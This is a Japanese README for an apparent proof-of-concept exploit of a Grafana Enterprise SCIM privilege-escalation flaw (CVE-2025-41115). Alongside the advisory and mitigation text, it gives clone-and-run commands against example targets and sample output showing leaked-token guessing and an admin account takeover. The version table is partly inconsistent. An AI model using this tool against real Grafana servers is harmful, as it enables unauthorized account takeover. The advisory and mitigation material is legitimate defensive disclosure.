🔐 CVE-2025-41115: Critical Grafana SCIM Privilege Escalation

218fa54275e0e31c37b4e5091d9112ba_M

Grafana Enterpriseにおける重大なSCIM権限昇格脆弱性

🌟 概要

CVE-2025-41115 は、Grafana Enterprise の SCIMユーザープロビジョニング機能 に影響を与える Critical (CVSS 10.0) の脆弱性です。

SCIMプロビジョニングが有効 かつ user_sync_enabled = true の場合、悪意のあるSCIMクライアントが 数値の externalId を送信すると、Grafanaがそれを内部ユーザーIDと誤ってマッピングし、攻撃者が既存のアカウント（管理者含む）を なりすます または 上書き できるようになります。 ⚠️ Grafana OSS は影響を受けません。

🚨 影響

🔓 アカウント乗っ取り（管理者アカウントを含む）
🚀 管理者権限での権限昇格
🗄️ ダッシュボード/データ/組織設定へのアクセス
🌐 低要件でネットワーク経由の悪用可能
🛑 マルチテナントやエンタープライズSSO環境では高リスク

悪用に必要な条件:

enableSCIM = true
[auth.scim] user_sync_enabled = true

🧩 影響を受けるバージョン

Version	Status
12.0.0 → 12.2.1	❌ 脆弱性あり
12.3.0	✅ 修正済み
12.2.1 (修正ビルド)	✅ 修正済み
12.1.3	✅ 修正済み
12.0.6

💡 マネージドGrafanaサービス（AWS/Azure/Grafana Cloud） はベンダーによって修正されました。

3秒で使う方法:

1. ダウンロード

sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git

または上記のスクリプトをファイルにコピー＆ペーストしてください

2. 実行可能にする（オプション）

chmod +x CVE-2025-41115.py

3. 実行

python3 CVE-2025-41115.py http://10.10.13.37:3000
# または
python3 CVE-2025-41115.py https://grafana.company.com

エクスプロイトが実際に動作した場合（つまり、ターゲットが脆弱でトークンが有効な場合）、次のような出力が表示されます:

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",                     ←←← これがキー行（UID 1が上書きされる）
  "externalId": "1",
  "meta": { ... },
  "userName": "[email protected]",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "[email protected]",
      "primary": true
    }
  ],
  "active": true
}

🔧 緩和策

🥇 1. 直ちにアップグレードする

12.3.0 または修正済みのメンテナンスリリースに更新してください。

🛠️ 2. SCIM設定を確認する

SCIMプロビジョニングを使用していない場合は、以下の設定を確認してください:

enableSCIM = false

または

[auth.scim]
user_sync_enabled = false

📜 3. ログを監査する

以下の兆候を探してください:

予期しない新規ユーザー
数値の externalId の使用
権限の変更

🔐 4. 信頼境界

信頼できるIDプロバイダー のみがSCIMエンドポイントと通信できるようにしてください。

👀 5. 悪用の監視

不審なログイン、ユーザー作成イベント、管理者の乗っ取りを監視してください。

📅 タイムライン

📌 2025-11-04 — 社内で問題を発見
📌 2025-11-04 — インシデント宣言
📌 2025-11-05 — クラウドベンダーに非公開で通知・修正
📌 2025-11-19 — 公開開示および公式修正リリース

📝 補足

🎯 この欠陥は、Grafanaが 数値の externalId を内部 uid にマッピング することに起因します。
🟢 悪用にはSCIM とユーザー同期 が必要なため、多くの環境ではデフォルトで安全ですが、必ず確認してください。
⚡ 開示時点で実際の悪用は確認されていませんが、CVSS 10のスコアは極めて危険であることを示しています。

免責事項!!!

このPoCは、許可されたセキュリティテストおよび教育目的でのみ使用され、自分が所有するシステムまたは明示的な書面による許可を得たシステムに限ります。許可なく使用することは違法であり、刑事訴追の対象となる可能性があります。著者および配布者は誤用に対する一切の責任を負いません。すぐにパッチを適用してください（≥12.0.6 / 12.3.0+）。

Blackash-CVE-2025-41115

人気